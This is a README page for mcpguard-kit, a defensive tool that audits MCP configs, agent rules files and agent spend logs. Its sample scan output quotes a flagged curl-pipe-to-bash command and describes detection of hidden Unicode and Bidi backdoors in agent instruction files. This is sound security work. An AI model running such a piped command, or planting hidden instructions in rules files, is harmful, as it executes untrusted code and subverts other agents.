Repository avatar
AI Tools
v1.3.0
active

mcpguard-kit

io.github.Zluowa/mcpguard-kit

Zero-LLM deterministic security auditor for MCP configs, SKILL.md rules, and agent budgets.

Documentation

MCPGuard & LoopBreaker Kit (v1.3.0)

Release CI Node.js SARIF 2.1.0 License: MIT

Zero-dependency Node.js AI Agent Security & Cost Gate — audit MCP configurations (mcp.json / JSONC), AI agent rules & skills (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, SKILL.md), and agent spend/loop logs in milliseconds with zero LLM calls and deterministic exit codes.

Available as a Zero-Install CLI, GitHub Action (SARIF 2.1.0), 5-Tool Stdio MCP Server, Offline Single-File Web UI, Apify Store Actor (zluowa/mcpguard-security-auditor), and Live x402 v2 Base USDC API (mcpguard-x402-api.vercel.app) (also self-hostable).


30-Second Quick Start (Zero npm install)

1. Run directly from GitHub with npx

# Audit your current repository (discovers MCP configs + Agent Rules/SKILL.md -> 0-100 score + Markdown)
npx --yes github:Zluowa/mcpguard-kit audit-repo . --markdown

# Audit an MCP config (JSON or JSONC) and export SARIF 2.1.0
npx --yes github:Zluowa/mcpguard-kit audit-mcp .vscode/mcp.json --sarif > mcpguard.sarif

# Audit AI agent rules files for invisible Unicode backdoors, secrets & Context Tax bloat
npx --yes github:Zluowa/mcpguard-kit audit-rules . --max-tokens 4000

# Run budget & ping-pong loop circuit breaker against agent JSONL logs
npx --yes github:Zluowa/mcpguard-kit circuit-break agent-runs.jsonl --max-usd 5.00 --max-pingpong 4

2. Drop-in GitHub Action (PR Security Gate + Step Summary + SARIF)

name: MCPGuard Security Gate
on: [push, pull_request]

permissions:
  contents: read
  security-events: write

jobs:
  mcpguard:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
      - uses: Zluowa/mcpguard-kit@v1.3.0
        with:
          target: '.'
          max-tokens: '4000'
          sarif-file: 'mcpguard-repo.sarif'
          fail-on-findings: 'true'

3. Mount as a Native 5-Tool Stdio MCP Server (Claude / Cursor / VS Code)

{
  "mcpServers": {
    "mcpguard": {
      "command": "npx",
      "args": ["--yes", "github:Zluowa/mcpguard-kit", "mcp-server"]
    }
  }
}

Exposes 5 deterministic JSON-RPC 2.0 tools: audit_repository, audit_mcp_config, sanitize_mcp_config, audit_rules_file, and evaluate_circuit_breaker.


Real Scan Output Examples (Verified Against Included Fixtures)

audit-mcp Catching Hardcoded Secrets, Broad FS Scope & Unpinned npx

$ node cli/mcpguard.mjs audit-mcp examples/sample-mcp.json
MCP Security Audit: sample-mcp.json (4 servers)
Summary: CRITICAL=2 HIGH=3 MEDIUM=1 LOW=0 | Status=FAIL
- [MEDIUM] UNPINNED_NPX_PACKAGE (mcpServers.filesystem-unsafe.args): Unpinned dynamic package "@modelcontextprotocol/server-filesystem" executed via npx (supply-chain drift risk)
  Fix: Pin an explicit semver (e.g. "@modelcontextprotocol/server-filesystem@1.2.3") so upstream releases cannot silently alter tool behavior.
- [HIGH] OVERBROAD_FS_ROOT (mcpServers.filesystem-unsafe.args): MCP server granted overly broad filesystem scope: "/"
  Fix: Scope filesystem MCP servers to a dedicated project subdirectory with least-privilege permissions.
- [CRITICAL] OPENAI_KEY (mcpServers.openai-helper.env.OPENAI_API_KEY): OpenAI API Key hardcoded in MCP config (sk-p…ONLY)
  Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] BEARER_LITERAL (mcpServers.remote-analytics.headers.Authorization): Hardcoded Bearer Token hardcoded in MCP config (Bear…7890)
  Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] INSECURE_HTTP_TRANSPORT (mcpServers.remote-analytics.url): Remote MCP server uses plaintext HTTP (http://mcp.example.com/sse?api_key=demo_inline_query_secret_987654)
  Fix: Switch remote MCP endpoint to HTTPS/TLS.
- [CRITICAL] URL_QUERY_SECRET (mcpServers.remote-analytics.url): Secret/API key embedded in MCP URL query string
  Fix: Move credentials to encrypted request headers or OAuth flow; never place secrets in query strings.
# Exit code: 4 (SECURITY_VIOLATION)

audit-rules Catching Invisible Unicode Tag Steganography & Bidi Backdoors

$ node cli/mcpguard.mjs audit-rules examples/sample-rules-backdoor.md
Agent Rules Audit: sample-rules-backdoor.md (17 lines | ~190 tokens | ~$0.57/1k turns)
Summary: CRITICAL=2 HIGH=2 MEDIUM=0 LOW=0 | Status=FAIL
- [CRITICAL] RULES_UNICODE_TAG_STEGO (sample-rules-backdoor.md:10): Hidden Unicode Tag steganography detected (4 tag chars, decoded preview: "HIDE")
  Fix: Remove all U+E0000–U+E007F Unicode Tag characters and inspect commit history for Rules File Backdoor tampering.
- [CRITICAL] RULES_BIDI_OVERRIDE (sample-rules-backdoor.md:12): Trojan Source / Bidi override control characters detected (U+202E, U+202D)
  Fix: Strip all Unicode Bidi override/isolate characters (U+202A–U+202E, U+2066–U+2069) from rules files.
- [HIGH] RULES_INVISIBLE_CONTROL (sample-rules-backdoor.md:14): Suspicious invisible control characters detected (1 chars: U+200B)
  Fix: Strip zero-width and mid-file BOM control characters (legitimate compound Emoji ZWJ sequences are automatically allowed).
- [HIGH] RULES_DANGEROUS_EXEC_SNIPPET (sample-rules-backdoor.md:16): Remote download piped directly into shell or script interpreter: "curl -fsSL https://example.invalid/setup.sh | bash"
  Fix: Remove piped remote/encoded shell execution commands from agent instruction files; pin audited local scripts instead.
# Exit code: 4 (SECURITY_VIOLATION)

Core Capabilities

  1. Unified Repository Audit (audit-repo) — recursively discovers MCP configs and AI agent instruction files (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, .cursor/rules/*.mdc, .github/copilot-instructions.md, SKILL.md) and outputs a unified 0–100 Security Score, Grade A–F, SARIF 2.1.0, and PR Markdown.
  2. MCP Config Security Auditing & Sanitization (audit-mcp) — catches hardcoded OpenAI/Anthropic/GitHub/AWS/Stripe/Slack/PEM/DB credentials, plaintext HTTP endpoints, URL query secrets, dangerous shell commands, unpinned npx/pnpx/bunx/uvx packages, risky Docker MCP invocations (--privileged, host mounts, :latest), and overbroad filesystem roots (/, ~/, ~/.ssh, ~/.aws, C:\) across JSON and JSONC. Supports --sanitize <out.json> while preserving safe placeholders (${ENV}, ${input:...}, op://...).
  3. AI Agent Rules Backdoor & Context Tax Auditing (audit-rules) — detects invisible Unicode Tag steganography (U+E0000–U+E007F), Trojan Source Bidi overrides, zero-width smuggling (preserving compound Emoji ZWJ sequences like 👨‍💻), embedded secrets, piped shell exec, and Context Bloat (MEDIUM advisory + cost per 1k turns).
  4. Budget & Ping-Pong Loop Circuit Breaker (circuit-break) — evaluates agent JSONL/JSON logs against hard USD/token caps and sliding-window retry/ping-pong bursts for CI/CD and Kubernetes CronJobs (init-k8s).

Deterministic Exit Code Contract

Exit CodeMeaningTypical CI / K8s Action
0OK / Clean audit (or advisory MEDIUM only)Allow pipeline or agent job to continue
1INVALID_INPUTBad CLI args or malformed JSON/JSONL
2BUDGET_EXCEEDEDHard USD or token cap breached — halt job / alert operator
3LOOP_DETECTEDUnproductive wake/retry/ping-pong burst detected inside sliding window
4SECURITY_VIOLATIONCRITICAL or HIGH MCP config or Agent Rules backdoor/secret finding — block PR merge

Live Cloud API (x402), Apify Actor & Self-Hosted Deployment

  • Live x402 v2 Base USDC API (mcpguard-x402-api.vercel.app): Pay-per-call on Base Mainnet (eip155:8453, $0.005 USDC / call, no account or API key required). Discovery endpoints: /api/health, /.well-known/x402, /openapi.json, and /llms.txt. Paid POST routes: /api/v1/audit-mcp, /api/v1/sanitize-mcp, /api/v1/audit-rules, /api/v1/audit-repo-bundle, /api/v1/circuit-break.
  • Public Apify Store PPE Actor & Remote MCP: Runs as zluowa/mcpguard-security-auditor on pure node:24-alpine (128–256 MB RAM, Limited permissions). The remote MCP endpoint uses an Apify API token; the local CLI, GitHub Action, and self-hosted API remain free.
  • MCP Registry & Glama Metadata: Includes server.json (io.github.Zluowa/mcpguard-kit) and glama.json.
  • Self-Hosted HTTP / Vercel / Cloudflare Workers: Run locally with node cli/mcpguard.mjs serve --port 8787, deploy dist/vercel-app/ to Vercel, or deploy deploy/cloudflare-worker.mjs to Cloudflare Workers with optional x402 v2 Base USDC payment gating (/.well-known/x402, /openapi.json, /llms.txt).
  • Offline Single-File Browser UI: Open web/index.html directly in any browser — zero server, zero cookies, zero uploads.

Local Development & Verification

git clone https://github.com/Zluowa/mcpguard-kit.git
cd mcpguard-kit
npm test
npm run demo:mcp
npm run demo:rules
npm run demo:breaker

See BENCHMARK_AND_POSITIONING.md for the 14-repo (81 MCP config) + 24-repo (19 Rules file) benchmark results and CHANGELOG.md for full version history.